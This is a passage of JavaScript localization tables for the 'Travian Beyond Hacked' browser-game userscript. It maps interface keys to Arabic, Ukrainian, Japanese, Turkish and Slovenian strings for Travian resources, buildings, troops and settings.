'التجار',\t\t// Very important\n\t'TOTAL': 'المجموع',\n\t'WASTED_SPACE': 'اهدر الفضاء',\n\t'TBH_SETUP_I': 'Travian Beyond Hacked : Important',\n\t'TBH_SETUP_T': 'Travian Beyond Hacked : Text',\n\t'SAVEREPORT': 'حفظ التقرير',\n\t'ANONYMIZE': 'مجهول الهوية',\n\t'LBA0': 'الحجم الاجمالي للهجوم',\n\t'LBA2': 'الحجم الاجمالي للحمايه من المشاة',\n\t'LBA3': 'الحجم الاجمالي للحمايه ضد سلاح الفرسان',\n\t'LBA4': 'الاحصاءات العامة',\n\t'LBA5': 'فرق من الخسائر',\n\t'LBA6': 'استهلاك',\n\t'LBA7': 'اكسب من الابطال',\n\t'LBA9': 'تعادل خسر في الحبوب',\n\t'LBA10': 'الاسميه للاستهلاك من الحبوب من قبل الجيش',\n\t'LBA11': 'لم يكن البطل',\n\t'LBA12': 'بطل',\n\t'LBA13': 'كمية من المواد الخام التي تقوم بعيدا',\n\t'LBA14': 'القدرة القصوى على قيد الحياة',\n\t'LBA15': 'الهجوم',\n\t'LBA16': 'الدفاع',\n\t'LBA17': 'انسخة واذهب الى محاكي المعارك',\n\t'LBA18': 'لصق',\n\t'BBC': 'BBcodes يمكن استخدام',\n\t'BBC_B': '[b]Text[/b] : عريضة ',\n\t'BBC_I': '[i]Text[/i] : مائلة',\n\t'BBC_U': '[u]Text[/u] : تحتها خط ',\n\t'BBC_C': '[c]Text[/c] : توسيط الاحرف',\n\t'BBC_COLOR': 'color=#0000FF او [color=blue]Text[/color] : الوان ',\n\t'BBC_URL': '[url]http://url[/url] او [url=http://url]Link text[/url] : الموقع',\n\t'BBC_IMG': '[img]URL[/img] : الصورة ',\n\t'THS0': ':حالياً',\n\t'THS1': ':التالي',\n\t'THS2': ':تحتاج'\n\t}\n\tbreak;\n\tcase \"ua\":\t\t// Ukrainian : Отака фiгня, малята )\n\tvar newLang = {\n\t'ALIANZA': 'Альянс',\n\t'SIM': 'Симулятор бою',\n\t'SEGURO': 'Ви впевненi?',\n\t'MARK': 'Обрати все',\n\t'PERDIDAS': 'Втрати',\n\t'RENT': 'Прибуток',\n\t'SUBIR_NIVEL': 'Пiдвищити рiвень',\n\t'ALDEA': 'по поселеннях',\n\t'ATACAR': 'Атакувати',\n\t'COMERCIAR': 'Вiдправити ресурси',\n\t'GUARDADO': 'Настройки збережено!',\n\t'DESP_ABR': 'Mov.',\n\t'FALTA': 'Наобхiдно',\n\t'HOY': 'сьогоднi',\n\t'MANYANA': 'завтра',\n\t'PAS_MANYANA': 'пiслезавтра',\n\t'MERCADO': 'Ринок',\n\t'CUARTEL': 'Казарма',\n\t'PUNTO': 'Пункт збору',\n\t'CORRAL': 'Стайня',\n\t'TALLER': 'Майстерня',\n\t'ENVIAR': 'Вiдправити ресурси',\n\t'COMPRAR': 'Купiвля',\n\t'VENDER': 'Продаж',\n\t'ENVIAR_IGM': 'Send IGM',\n\t'LISTO': 'Готово',\n\t'EL': 'on',\n\t'A_LAS': 'в',\n\t'EFICIENCIA': 'Ефективнiсть',\n\t'NUNCA': 'Нiколи',\n\t'PC': 'Одиницi культури',\n\t'FUNDAR': 'Вы можете заснувати або завоювати нове поселення',\n\t'TIEMPO': 'Час',\n\t'STAT': 'Статистика',\n\t'OFREZCO': 'Пропоную',\n\t'BUSCO': 'Шукаю',\n\t'TIPO': 'Тип',\n\t'CUALQUIERA': 'Будь-який',\n\t'DISPONIBLE': 'Тiльки доступнi (по кiлькостi торговцiв)',\n\t'SI': 'Так',\n\t'NO': 'Нi',\n\t'MARCADORES': 'Закладки',\n\t'ANYADIR': 'Додати',\n\t'ENLACE': 'Введiть URL закладки',\n\t'TEXTO': 'Введите им’я закладки',\n\t'ARCHIVE': 'Архiв',\n\t'ELIMINAR': 'Видалити',\n\t'ACTUALIZAR': 'Поновити',\n\t'REFRESH_INFORMARION': 'Поновити iнформацiю',\n\t'RESUMEN': 'Зведення',\n\t'RECURSO1': 'Дерево',\n\t'RECURSO2': 'Глина',\n\t'RECURSO3': 'Залiзо',\n\t'RECURSO4': 'Зерно',\n\t'ALDEA_EXTRA1': 'Вiдправити вiйсько',\n\t'ALDEA_EXTRA2': ' Вiдправити ресурси',\n\t'ALDEA_EXTRA3': 'Центрувати мапу',\n\t'ALDEA_EXTRA4': 'View Global on village',\n\t'ALDEA_EXTRA5': 'Центрувати на поселеннi',\n\t'ALDEA_EXTRA6': 'Информацiя с TSU',\n\t'ALDEA_EXTRA6B': 'Информацiя с Travian World Analyzer',\n\t'ALDEA_EXTRA7': 'Информацiя с Travian-search',\n\t'ALDEA_EXTRA8': 'Розмiщення на Travmap',\n\t'ADD_ALL': 'Кожного ресурсу по ',\n\t'DEMO': 'Знести будiвлю',\n\t'FRIGO': 'Пошук неактивних',\n\t'TOOLS': 'Дистанцiя i час',\n\t'TAB1': 'Для вiдображення на Travmap (червона iконка) кiлькох альянсiв, введiть iх назви через кому.(напр.: A,B,C)',\n\t'TAB2': 'Редагувати закладки',\n\t'TAB3': 'Вмiст блокноту',\n\t'TAB4': 'Своi пропозицii на ринку',\n\t'TAB5': 'Таблиця апгрейду шахт та ферм внизу строрiнки (0 або 1)',\n\t'TAB6': 'Таблиця апгрейду внутрiшнiх будiвель внизу строрiнки (0 або 1)',\n\t'TAB7': ' Вiдображати лiчильники ресурсiв (0 або 1)',\n\t'TAB8': 'Закладки: палац i резиденцiя (0 або 1)',\n\t'TAB9': 'Закладки: каразма, стайня i майстерня (0 або 1)',\n\t'TAB10': 'Закладки: кузнi зброi та обладункiв (0 або 1)',\n\t'TAB11': 'Закладки: таверна (0 або 1)',\n\t'TAB12': 'Показувати закладки',\n\t'TAB13': 'Показувати посилання на TSU (0 або 1)',\n\t'TAB13B': 'Показувати посилання на Travian World Analyzer (0 або 1)',\n\t'TAB14': 'Показувати посилання на Travian-search (0 або 1)',\n\t'TAB15': 'Показувати рiвнi будiвель всерединi поселення (0 або 1)',\n\t'TAB16': ' Показувати текст всiх повiдомлень (0 або 1)',\n\t'TAB17': ' Показувати блокнот (0 або 1)',\n\t'TAB18': ' Показувати посилання на Travmap (0 або 1)',\n\t'TAB19': 'Закладки: ратуша (0 або 1)',\n\t'TAB20': 'Скорочений перелiк посилань в лiвiй частинi сторiнки (0 або 1)',\n\t'TAB21': 'Спрощений вид статистики в зведеннi по селах (0 або 1)',\n\t'TAB22': 'Перемiстити вгору таблицю статистики в зведеннi по селах (0 або 1)',\n\t'TAB23': 'Атака за замовчанням: Розбійницький набіг / Звичайна (0 або 1)',\n\t'TAB24': 'Лічильник ресурсів зверху чи знизу(1 або 0)',\n\t'TAB25': 'Показувати ВСІ війська поселення (0 або 1)',\n\t'CLEAN': ' Очистити',\n\t'PAL': 'Палац',\n\t'RESI': 'Резиденцiя',\n\t'MAN': 'Таверна',\n\t'USI': 'Кузня обладункiв',\n\t'ARM': 'Кузня зброї',\n\t'HOT': 'Ратуша',\n\t'IGMTITLE': 'Тема',\n\t'IGMSENTER': 'Вiдправник',\n\t'IGMDATE': 'Дата',\n\t'IGMTIME': 'Час',\n\t'IGMOUTPUT': 'Текст всiх повiдомлень',\n\t'MAXTIME': 'Максимальний час',\n\t'LOGIN': 'Вхiд',\n\t'TT': 'Огляд',\n\t'RESS': 'Ресурси на складах',\n\t'DEP': 'Завантаженiсть складiв (%)',\n\t'PC': 'ОК',\n\t'TROP': 'Вiйська',\n\t'MINI': 'Мiнi-огляд',\n\t'ATT': 'Атаки',\n\t'CONS': 'Будiвництво',\n\t'FT': 'Свята',\n\t'FT1': 'свято',\n\t'FT2': 'торжество',\n\t'EXT': 'Продовження',\n\t'IN': 'в',\n\t'MAPSCAN': 'Сканувати мапу',\n\t'JUGADOR': 'Гравець',\n\t'HAB': 'Населення',\n\t'COORD': 'Координати',\n\t'ACCION': 'Дii',\n\t'AID': 'Допомога',\n\t'VITS': 'Швидкiсть',\n\t'CAPA': 'Вантажопiдйомнiсть',\n\t'DIST': 'Вiдстань',\n\t'MP': 'Додати посилання',\n\t'UPDATE_CHECK': 'Перевiрити оновлення',\n\t'LAST_VERSION': 'У вас остання доступна версiя ',\n\t'NEW_VERSION': 'Нова версiя доступна',\n\t'UPDATE_NOW': 'Оновити зараз',\n\t'R1': 'Легiонер', //romain\n\t'R2': 'Преторiанець',\n\t'R3': 'Iмперiанець',\n\t'R4': 'Кiнний розвiдник',\n\t'R5': 'Кiннота iмператора',\n\t'R6': 'Кiннота Цезаря',\n\t'R7': 'Таран',\n\t'R8': 'Вогняна катапульта',\n\t'R9': 'Сенатор',\n\t'R10': 'Поселенець',\n\t'T1': 'Дубинник', //teuton\n\t'T2': 'Списник',\n\t'T3': 'Сокирщик',\n\t'T4': 'Скаут',\n\t'T5': 'Паладин',\n\t'T6': 'Тевтонський вершник',\n\t'T7': 'Стiнобитне знаряддя',\n\t'T8': 'Катапульта',\n\t'T9': 'Ватажок',\n\t'T10': 'Поселенець',\n\t'G1': 'Фаланга', //gaulois\n\t'G2': 'Мечник',\n\t'G3': 'Слiдопит',\n\t'G4': 'Тевтацький грiм',\n\t'G5': 'Друiд-вершник',\n\t'G6': 'Едуйська кiннота',\n\t'G7': 'Таран',\n\t'G8': 'Катапульта',\n\t'G9': 'Лiдер',\n\t'G10': 'Поселенець',\n\t'N1': 'Пацюк', //nature\n\t'N2': 'Павук',\n\t'N3': 'Змiя',\n\t'N4': 'Кажан',\n\t'N5': 'Кабан',\n\t'N6': 'Вовк',\n\t'N7': 'Ведмiдь',\n\t'N8': 'Крокодил',\n\t'N9': 'Тигр',\n\t'N10': 'Слон',\n\t'LVL': 'Рівень',\n\t'MARC': 'Торговці'\n\t}\n\tbreak;\n\tcase \"jp\":\t\t// japon - Jackie Jack\n\tvar newLang = {\n\t'ALIANZA': '同盟',\n\t'SIM': '戦闘シミュレーション',\n\t'SEGURO': '確かですか?',\n\t'MARK': 'すべて選択',\n\t'PERDIDAS': '損失',\n\t'RENT': '利益',\n\t'SUBIR_NIVEL': '準備完了',\n\t'ALDEA': '',\n\t'ATACAR': '攻撃',\n\t'COMERCIAR': '資源の送付',\n\t'GUARDADO': '保存',\n\t'DESP_ABR': 'Mov.',\n\t'FALTA': '不足資源',\n\t'HOY': '今日',\n\t'MANYANA': '明日',\n\t'PAS_MANYANA': '明後日',\n\t'MERCADO': '市場',\n\t'CUARTEL': '兵舎',\n\t'PUNTO': '集兵所',\n\t'CORRAL': '馬舎',\n\t'TALLER': '作業場',\n\t'ENVIAR': '資源の送付',\n\t'COMPRAR': '買方',\n\t'VENDER': '売方',\n\t'ENVIAR_IGM': 'メッセージを送る',\n\t'LISTO': '準備完了予定',\n\t'EL': ' ',\n\t'A_LAS': ' ',\n\t'EFICIENCIA': '積載率',\n\t'NUNCA': '決してない',\n\t'PC': '文化ポイント',\n\t'STAT': '統計',\n\t'OFREZCO': '売方',\n\t'BUSCO': '作物ファインダー ',\n\t'TIPO': '取引比率',\n\t'CUALQUIERA': '全て',\n\t'DISPONIBLE': '取引可能',\n\t'MARCADORES': 'ブックマーク',\n\t'ANYADIR': '追加',\n\t'ENLACE': '新しいブックマークのURL',\n\t'TEXTO': '新しいブックマークの名前',\n\t'ARCHIVE': '書庫',\n\t'ELIMINAR': '取消',\n\t'ACTUALIZAR': '更新',\n\t'REFRESH_INFORMARION': '情報更新',\n\t'RESUMEN': '村の概要',\n\t'RECURSO1': 'きこり',\n\t'RECURSO2': '粘土',\n\t'RECURSO3': '鉄',\n\t'RECURSO4': '穀物',\n\t'ALDEA_EXTRA1': '出兵',\n\t'ALDEA_EXTRA2': '資源の送付',\n\t'ALDEA_EXTRA3': '地図の中心に表示',\n\t'ALDEA_EXTRA4': '村の概観を表示',\n\t'ALDEA_EXTRA5': '村の中心を表示',\n\t'ADD_ALL': '全て',\n\t'DEMO': '取壊',\n\t'TOOLS': '距離と時間',\n\t'TAB1': '指定した同盟を色分け表示します。(ex: A,B,C)',\n\t'TAB2': 'ブックマークの編集',\n\t'TAB3': 'Notepadの内容',\n\t'TAB4': '市場での販売数、価格の設定',\n\t'TAB5': '資源テーブルの表示、非表示',\n\t'TAB6': '建設テーブルの表示、非表示',\n\t'TAB7': '資源カウンターの表示、非表示',\n\t'TAB8': '既定ブックマークの表示、非表示(管理用)',\n\t'TAB9': '既定ブックマークの表示、非表示(兵舎、馬舎、作業場)',\n\t'TAB10': '既定ブックマークの表示、非表示(鍛冶場、防具工場)',\n\t'TAB11': '既定ブックマークの表示、非表示(宮殿、官邸)',\n\t'TAB12': '既定ブックマークの表示、非表示(本部)',\n\t'TAB13': '「TSU [TSU] 」のリンクボタンの表示、非表示',\n\t'TAB13B': '「Travian World Analyzer [Travian World Analyzer ] 」のリンクボタンの表示、非表示',\n\t'TAB14': '「Travian-Search [travian-search (JP鯖未対応)] 」のリンクボタンの表示、非表示',\n\t'TAB15': '建物のレベル表示を行う',\n\t'TAB16': '一覧のメッセージを一括表示',\n\t'TAB17': 'Notepadの表示、非表示',\n\t'TAB18': '「Travmap [Localisation sur carte (JP鯖未対応)] 」サイトへのリンクの表示',\n\t'TAB19': 'ブックマークに本部を表示',\n\t'TAB20': '左側リンク表示の簡素化',\n\t'TAB21': '村の概要を簡素化します。',\n\t'TAB22': '村の概要の位置を変更。',\n\t'TAB23': '攻撃種別 通常/奇襲',\n\t'TAB24': '資源カウンター表示位置の変更',\n\t'TAB25': '集兵所で村の兵士全てを表示する',\n\t'CLEAN': ' 削除',\n\t'PAL': '宮殿',\n\t'RESI': '官邸',\n\t'MAN': '英雄の館',\n\t'USI': '防具工場',\n\t'ARM': '鍛冶場',\n\t'HOT': '本部',\n\t'IGMTITLE': '題名',\n\t'IGMSENTER': '送付者',\n\t'IGMDATE': '日付',\n\t'IGMTIME': '時間',\n\t'IGMOUTPUT': 'メッセージの内容を表示',\n\t'MAXTIME': '最大時間',\n\t'LOGIN': 'Login',\n\t'TT': '概要',\n\t'RESS': '資源',\n\t'DEP': '倉庫容量',\n\t'PC': 'PC',\n\t'TROP': '兵士',\n\t'MINI': 'Mini',\n\t'ATT': '攻撃',\n\t'CONS': '建設',\n\t'FT': 'お祭り',\n\t'FT1': '小さいお祭り',\n\t'FT2': '大きなお祭り',\n\t'EXT': '拡張子',\n\t'IN': 'in',\n\t'JUGADOR': 'プレーヤー',\n\t'HAB': '人口',\n\t'COORD': '座標',\n\t'ACCION': 'Actions',\n\t'MAPSCAN': 'Scan map',\n\t'AID': 'Aide',\n\t'VITS': '速度',\n\t'CAPA': '積載量',\n\t'DIST': '距離',\n\t'MP': 'ブックマークに保存',\n\t'R1': 'レジョネア', //Romans\n\t'R2': 'プレトリアン',\n\t'R3': 'インペリアン',\n\t'R4': 'エクイーツ・レガティ',\n\t'R5': 'エクイーツ・インペラトリス',\n\t'R6': 'エクイーツ・カエザリス',\n\t'R7': 'バッテリング・ラム',\n\t'R8': 'ファイヤーカタパルト',\n\t'R9': '議員',\n\t'R10': '開拓者',\n\t'T1': 'クラブスインガー', //Teutons\n\t'T2': 'スピアマン',\n\t'T3': 'アックスマン',\n\t'T4': 'スカウト',\n\t'T5': 'パラディン',\n\t'T6': 'チュートニック・ナイト',\n\t'T7': 'ラム',\n\t'T8': 'カタパルト',\n\t'T9': '元首',\n\t'T10': '開拓者',\n\t'G1': 'ファランクス', //Gauls\n\t'G2': 'ソードマン',\n\t'G3': 'パスファインダー',\n\t'G4': 'シューテイタス・サンダー',\n\t'G5': 'ドルイドライダー',\n\t'G6': 'ヘジュアン',\n\t'G7': 'ラム',\n\t'G8': 'トレブジェ',\n\t'G9': '首領',\n\t'G10': '開拓者',\n\t'N1': '鼠', //Nature\n\t'N2': '蜘蛛',\n\t'N3': '蛇',\n\t'N4': '蝙蝠',\n\t'N5': '猪',\n\t'N6': '狼',\n\t'N7': '熊',\n\t'N8': '鰐',\n\t'N9': '虎',\n\t'N10': '象',\n\t'LVL': 'レベル',\n\t'MARC': '商人'\n\t}\n\tbreak;\n\tcase \"tr\":\t\t// Turkish translate - greench\n\tvar newLang = {\n\t'ALIANZA': 'Birlik',\n\t'SIM': 'SavaşHesaplayıcı',\n\t'SEGURO': 'Emin misiniz?',\n\t'MARK': 'Tümünü seç',\n\t'PERDIDAS': 'Kayıp',\n\t'RENT': 'Kazanılan',\n\t'SUBIR_NIVEL': 'Bir üst seviyeye geliştirilebilir',\n\t'ALDEA': 'Köy adı',\n\t'ATACAR': 'Saldırı',\n\t'COMERCIAR': 'Hammadde gönder',\n\t'GUARDADO': 'Kaydedildi.',\n\t'DESP_ABR': 'Har.',\n\t'FALTA': 'İhtiyacınız olan:',\n\t'HOY': 'bugün',\n\t'MANYANA': 'yarın',\n\t'PAS_MANYANA': 'ertesi gün',\n\t'MERCADO': 'Market',\n\t'CUARTEL': 'Kışla',\n\t'PUNTO': 'Askeri Üs',\n\t'CORRAL': 'Ahır',\n\t'TALLER': 'Tamirhane',\n\t'ENVIAR': 'Hammadde gönder',\n\t'COMPRAR': 'Satın Al',\n\t'VENDER': 'Sat',\n\t'ENVIAR_IGM': 'Destek Gönder',\n\t'LISTO': 'Hazır olduğu',\n\t'EL': 'gün',\n\t'A_LAS': 'saat',\n\t'EFICIENCIA': 'Verim',\n\t'NUNCA': 'Hiç',\n\t'PC': 'kültür puanı',\n\t'FUNDAR': 'yeni bir köy kurabilir ve ya fetih edebilirsiniz.',\n\t'TIEMPO': 'Zaman',\n\t'STAT': 'İstatistik',\n\t'OFREZCO': 'Önerilen',\n\t'BUSCO': 'İstenen',\n\t'TIPO': 'Oran',\n\t'CUALQUIERA': 'Herhangi biri',\n\t'DISPONIBLE': 'Sadece imkanlı olanlar',\n\t'SI': 'Evet',\n\t'NO': 'Hayır',\n\t'MARCADORES': 'Yerimleri',\n\t'ANYADIR': 'Ekle',\n\t'ENLACE': 'Yeni yerimi adresi',\n\t'TEXTO': 'Yeni yerimi yazısı',\n\t'ARCHIVE': 'Arşiv',\n\t'ELIMINAR': 'Kaldır',\n\t'ACTUALIZAR': 'yenile',\n\t'REFRESH_INFORMARION': 'bilgileri yenile',\n\t'RESUMEN': 'Özet',\n\t'RECURSO1': 'Odun',\n\t'RECURSO2': 'Tuğla',\n\t'RECURSO3': 'Demir',\n\t'RECURSO4': 'Tahıl',\n\t'ALDEA_EXTRA1': 'Asker gönder',\n\t'ALDEA_EXTRA2': 'Hammadde gönder',\n\t'ALDEA_EXTRA3': 'Haritada ortala',\n\t'ALDEA_EXTRA4': 'Köyde genel görünüş',\n\t'ALDEA_EXTRA5': 'Köy merkezi',\n\t'ALDEA_EXTRA6': 'TSU Bilgisi',\n\t'ALDEA_EXTRA6B': 'Travian World Analyzer Bilgisi',\n\t'ALDEA_EXTRA7': 'Travian-arama bilgisi',\n\t'ALDEA_EXTRA8': 'Travmap da yeri',\n\t'ADD_ALL': 'Tümü için ',\n\t'DEMO': 'Bina Yıkımı',\n\t'FRIGO': 'Kaynak',\n\t'TOOLS': 'Uzaklık-Zaman',\n\t'TAB1': 'Travmap deki yerleşim için (kırmızı), birlikleri virgülle ayırın. (ör: A,B,C)',\n\t'TAB2': 'Yerimlerini düzenle',\n\t'TAB3': 'Not Defteri',\n\t'TAB4': 'Market Satış Fiyatları',\n\t'TAB5': 'Hammadde inşaatlarının tablosunu göster',\n\t'TAB6': 'İnşaat tablosunu göster',\n\t'TAB7': 'Saatlik üretimi ve deponun taşma süresini göster',\n\t'TAB8': 'Yönetim binaları yerimleri',\n\t'TAB9': 'Askeri binaların yerimleri',\n\t'TAB10': 'Geliştirme binalarının yerimleri',\n\t'TAB11': 'Perso Mik yerimleri',\n\t'TAB12': 'Yerimlerini göster',\n\t'TAB13': 'TSU bilgisini göster',\n\t'TAB13B': 'Travian World Analyzer bilgisini göster',\n\t'TAB14': 'Travian-search bilgisini göster',\n\t'TAB15': 'Bina seviyesini göster',\n\t'TAB16': 'İletilerin içeriğini göster',\n\t'TAB17': 'Not defteri ve iletiyi göster',\n\t'TAB18': 'Travmap bilgisini göster',\n\t'TAB19': 'Merkez binasının yerimi',\n\t'TAB20': 'Soldaki bağlantıların listesini basitleştir',\n\t'TAB21': 'Köylerin özetini basitleştir',\n\t'TAB22': 'Köy özetinin yeri',\n\t'TAB22': 'Travian Plusa sahipseniz [x] yazın, değilseniz [ ] yazın.',\n\t'TAB23': 'Saldırı: Yağma / Saldırı: Normal',\n\t'TAB24': 'Saatlik üretimin sayısının yeri',\n\t'TAB25': 'Askeri üste köye ait tüm askerini göster',\n\t'TAB26': 'Köyü özeti tablosunu göster',\n\t'TAB27': 'Özel resim sunucusu : [ ] Travian resim sunucusu : [x]',\n\t'CLEAN': ' Temizle',\n\t'PAL': 'Saray',\n\t'RESI': 'Köşk',\n\t'MAN': 'Kahraman Kışlası',\n\t'USI': 'Zırh Dökümhanesi',\n\t'ARM': 'Silah Dökümhanesi',\n\t'HOT': 'Belediye',\n\t'IGMTITLE': 'Başlık',\n\t'IGMSENTER': 'gönderen',\n\t'IGMDATE': 'tarih',\n\t'IGMTIME': 'zaman',\n\t'IGMOUTPUT': 'iletilerin içeriklerini göster',\n\t'MAXTIME': 'En fazla zaman',\n\t'LOGIN': 'Giriş',\n\t'TT': 'Tam görünüm',\n\t'RESS': 'Hammadde',\n\t'DEP': 'Depo',\n\t'PC': 'KP',\n\t'TROP': 'Destek',\n\t'MINI': 'Ufak',\n\t'ATT': 'Saldırılar',\n\t'CONS': 'İnşaatlar',\n\t'FT': 'Kutlama',\n\t'FT1': 'Küçük kutlama',\n\t'FT2': 'Büyük kutlama',\n\t'EXT': 'Yükseltme',\n\t'IN': ' ',\n\t'MAPSCAN': 'Haritayı Tara',\n\t'HIDEINFO': 'Kaynak Bilgisini Gizle',\n\t'SHOWINFO': 'Kaynak Bilgisini Göster',\n\t'JUGADOR': 'Oyuncu',\n\t'ACCION': 'Hareket',\n\t'HAB': 'Nüfus',\n\t'COORD': 'Koordinat',\n\t'R1': 'Lejyoner', //Romalılar\n\t'R2': 'Pretoryan',\n\t'R3': 'Emperyan',\n\t'R4': 'Equites Legati',\n\t'R5': 'Equites Imperatoris',\n\t'R6': 'Equites Caesaris',\n\t'R7': 'Koçbaşı',\n\t'R8': 'Ateş Mancınığı',\n\t'R9': 'Senatör',\n\t'R10': 'Göçmen',\n\t'T1': 'Topmak Sallayan', //Cermenler\n\t'T2': 'Mızrakçı',\n\t'T3': 'Balta Sallayan',\n\t'T4': 'Casus',\n\t'T5': 'Paladin',\n\t'T6': 'Toyton',\n\t'T7': 'Koçbaşı',\n\t'T8': 'Mancınık',\n\t'T9': 'Reis',\n\t'T10': 'Göçmen',\n\t'G1': 'Phalanx', //Galyalılar\n\t'G2': 'kılıçlı',\n\t'G3': 'Casus',\n\t'G4': 'Toytatın Şimşeği',\n\t'G5': 'Druyid',\n\t'G6': 'Heduan',\n\t'G7': 'Koçbaşı',\n\t'G8': 'Mancınık',\n\t'G9': 'Kabile Reisi',\n\t'G10': 'Göçmen',\n\t'N1': 'Sıçan', //Doğa\n\t'N2': 'Örümcek',\n\t'N3': 'Yılan',\n\t'N4': 'Yarasa',\n\t'N5': 'Yaban Domuzu',\n\t'N6': 'Kurt',\n\t'N7': 'Ayı',\n\t'N8': 'Timsah',\n\t'N9': 'Kaplan',\n\t'N10': 'Fil',\n\t'AID': 'Yardım',\n\t'VITS': 'Hız',\n\t'CAPA': 'Kapasite',\n\t'DIST': 'Uzaklık',\n\t'MP': 'Yerimi ',\n\t'UPDATE_CHECK': 'Sürüm denetle',\n\t'LAST_VERSION': 'Son sürümü kullanıyorsunuz',\n\t'NEW_VERSION': 'Daha yeni bir sürüm mevcut',\n\t'UPDATE_NOW': 'Şimdi güncelle',\n\t'LVL': 'seviye',\n\t'MARC': 'Satıcı',\n\t'TOTAL': 'Toplam',\n\t'WASTED_SPACE' : 'Boş Alan',\n\t'TBH_SETUP_I': 'Travian Beyond Hacked : Önemli Ayarlamalar (0/1)',\n\t'TBH_SETUP_T': 'Travian Beyond Hacked : Yazıları',\n\t'SAVEREPORT': 'raporu kaydet',\n\t'ANONYMIZE': 'adsız',\n\t'LBA0':'Saldırı büyüklüğü',\n\t'LBA2':'Yaya askere karşı toplam savunma gücü',\n\t'LBA3':'Süvariye karşı toplam savunma gücü',\n\t'LBA4':'Genel istatistik',\n\t'LBA5':'Kayıplar farkı',\n\t'LBA6':'Tüketim',\n\t'LBA7':'Kh. tecrübesi',\n\t'LBA9':'Tahıl olarak eşdeğer kayıp',\n\t'LBA10':'Ordunun tahıl tüketimi',\n\t'LBA11':'Kahraman yok',\n\t'LBA12':'Kh.',\n\t'LBA13':'Hammadde taşıma miktarı',\n\t'LBA14':'En yüksek kapasite',\n\t'LBA15':'Saldıran',\n\t'LBA16':'Savunan',\n\t'BBC': 'Kullanılabilir BB kodları',\n\t'BBC_B': 'Kalın: [b]Yazı[/b]',\n\t'BBC_I': 'Eğik: [i]Yazı[/i]',\n\t'BBC_U': 'Altı Çizgili: [u]Yazı[/u]',\n\t'BBC_C': 'Ortala: [c]Yazı[/c]',\n\t'BBC_COLOR': 'Renkler: [color=blue]Yazı[/color] İpucu: Şunları da kullanabilirsiniz: color=#0000FF ve #00F',\n\t'BBC_URL': 'Bağlantı: [url]http://adres[/url] ya da [url=http://adres]Bağlantı yazısı[/url]'\n\t}\n\tbreak;\n\tcase \"si\": \t\t// Tranlation by BmW\t\t// Prevod by BmW\n\tvar newLang = {\n\t'ALIANZA': 'Aliansa',\n\t'SIM': 'Simulator bitk',\n\t'SEGURO': 'Ali ste prepričani?',\n\t'MARK': 'Izberi vse',\n\t'PERDIDAS': 'Izguba',\n\t'RENT': 'Profit',\n\t'SUBIR_NIVEL': 'Nadgradnja možna',\n\t'ALDEA': 'Naselbine',\n\t'ATACAR': 'Napadi',\n\t'COMERCIAR': 'Pošlji surovine',\n\t'GUARDADO': 'Shranjeno',\n\t'DESP_ABR': 'Pomik',\n\t'FALTA': 'Manjka',\n\t'HOY': 'Danes',\n\t'MANYANA': 'Jutri',\n\t'PAS_MANYANA': 'Pojutrišnjem',\n\t'MERCADO': 'Tržnica',\n\t'CUARTEL': 'Barake',\n\t'PUNTO': 'Zbirališče',\n\t'CORRAL': 'Konjušnica',\n\t'TALLER': 'Izdelovalec oblegovalnih naprav',\n\t'ENVIAR': 'Pošlji surovine',\n\t'COMPRAR': 'Kupi',\n\t'VENDER': 'Ponudi',\n\t'ENVIAR_IGM': 'Pošlji sporočilo',\n\t'LISTO': 'Na voljo',\n\t'EL': '',\n\t'A_LAS': 'ob',\n\t'EFICIENCIA': 'Izkoristek',\n\t'NUNCA': 'Nikoli',\n\t'PC': 'Kulturne točke',\n\t'FUNDAR': 'Lahko zgradite ali zasedete novo vas',\n\t'TIEMPO': 'Čas',\n\t'STAT': 'Statistika',\n\t'OFREZCO': 'Ponuja',\n\t'BUSCO': 'Išči',\n\t'TIPO': 'Tip',\n\t'CUALQUIERA': 'Karkoli',\n\t'DISPONIBLE': 'Samo možne ponudbe',\n\t'SI': 'Da',\n\t'NO': 'Ne',\n\t'MARCADORES': 'Zaznamki',\n\t'ANYADIR': 'Dodaj',\n\t'ENLACE': 'URL novega zaznamka',\n\t'TEXTO': 'Ime novega zaznamka',\n\t'ARCHIVE': 'Arhiv',\n\t'ELIMINAR': 'Izbriši',\n\t'ACTUALIZAR': 'Osveži',\n\t'REFRESH_INFORMARION': 'Osveži',\n\t'RESUMEN': 'Pregled',\n\t'RECURSO1': 'Les',\n\t'RECURSO2': 'Glina',\n\t'RECURSO3': 'Železo',\n\t'RECURSO4': 'Žito',\n\t'ALDEA_EXTRA1': 'Pošlji enote',\n\t'ALDEA_EXTRA2': 'Pošlji surovine',\n\t'ALDEA_EXTRA3': 'Center mape',\n\t'ALDEA_EXTRA4': 'Globalen pogled na vas', // Napačno?\n\t'ALDEA_EXTRA5': 'Centriraj vas',\n\t'ALDEA_EXTRA6': 'Info. TSU',\n\t'ALDEA_EXTRA6B': 'Info. Travian World Analyzer',\n\t'ALDEA_EXTRA7': 'Info. Travian-search',\n\t'ALDEA_EXTRA8': 'Lokacija na Travmap',\n\t'ADD_ALL': 'Za vse ',\n\t'DEMO': 'Podri stavbo',\n\t'FRIGO': 'Frigo', // Napačno?\n\t'TOOLS': 'Razdalje in časi',\n\t'TAB1': 'Pri lokaciji na Travmap (rdeče), se več alians loči z vejico.(npr.: A,B,C)',\n\t'TAB2': 'Urejanje Zaznamkov',\n\t'TAB3': 'Zapiski',\n\t'TAB4': 'Prodajne cene v Tržnici',\n\t'TAB5': 'Tabela za polja',\n\t'TAB6': 'Tabela za zgradbe',\n\t'TAB7': 'Prikaži števec surovin',\n\t'TAB8': 'Zaznamki za Palačo,Rezidenco,Herojevo rezidenco',\n\t'TAB9': 'Zaznamki za vojaške zgradbe',\n\t'TAB10': 'Zaznamki za zgradbe za izboljšavo',\n\t'TAB11': 'Zaznamki po meri',\n\t'TAB12': 'Prikaži Zaznamke',\n\t'TAB13': 'Prikaži Info. TSU',\n\t'TAB13B': 'Prikaži Info. Travian World Analyzer',\n\t'TAB14': 'Prikaži Info. Travian-search',\n\t'TAB15': 'Prikaži stopnje zgradb',\n\t'TAB16': 'Prikaži vsebino sporočil',\n\t'TAB17': 'Prikaži beležnico',\n\t'TAB18': 'Prikaži Info. Travmap',\n\t'TAB19': 'Zaznamki za Mestno hišo',\n\t'TAB20': 'Poenostavi listo bljižnjic na levi strani',\n\t'TAB21': 'Poenostavi seštevek pregled surovin vasi',\n\t'TAB22': 'Prestavi tabelo za pregled vasi',\n\t'TAB23': 'Napad: Roparski pohod/Polni napad',\n\t'TAB24': 'Prestavi števec surovin',\n\t'TAB25': 'Prikaži skupno število enot v Zbirališču',\n\t'TAB26': 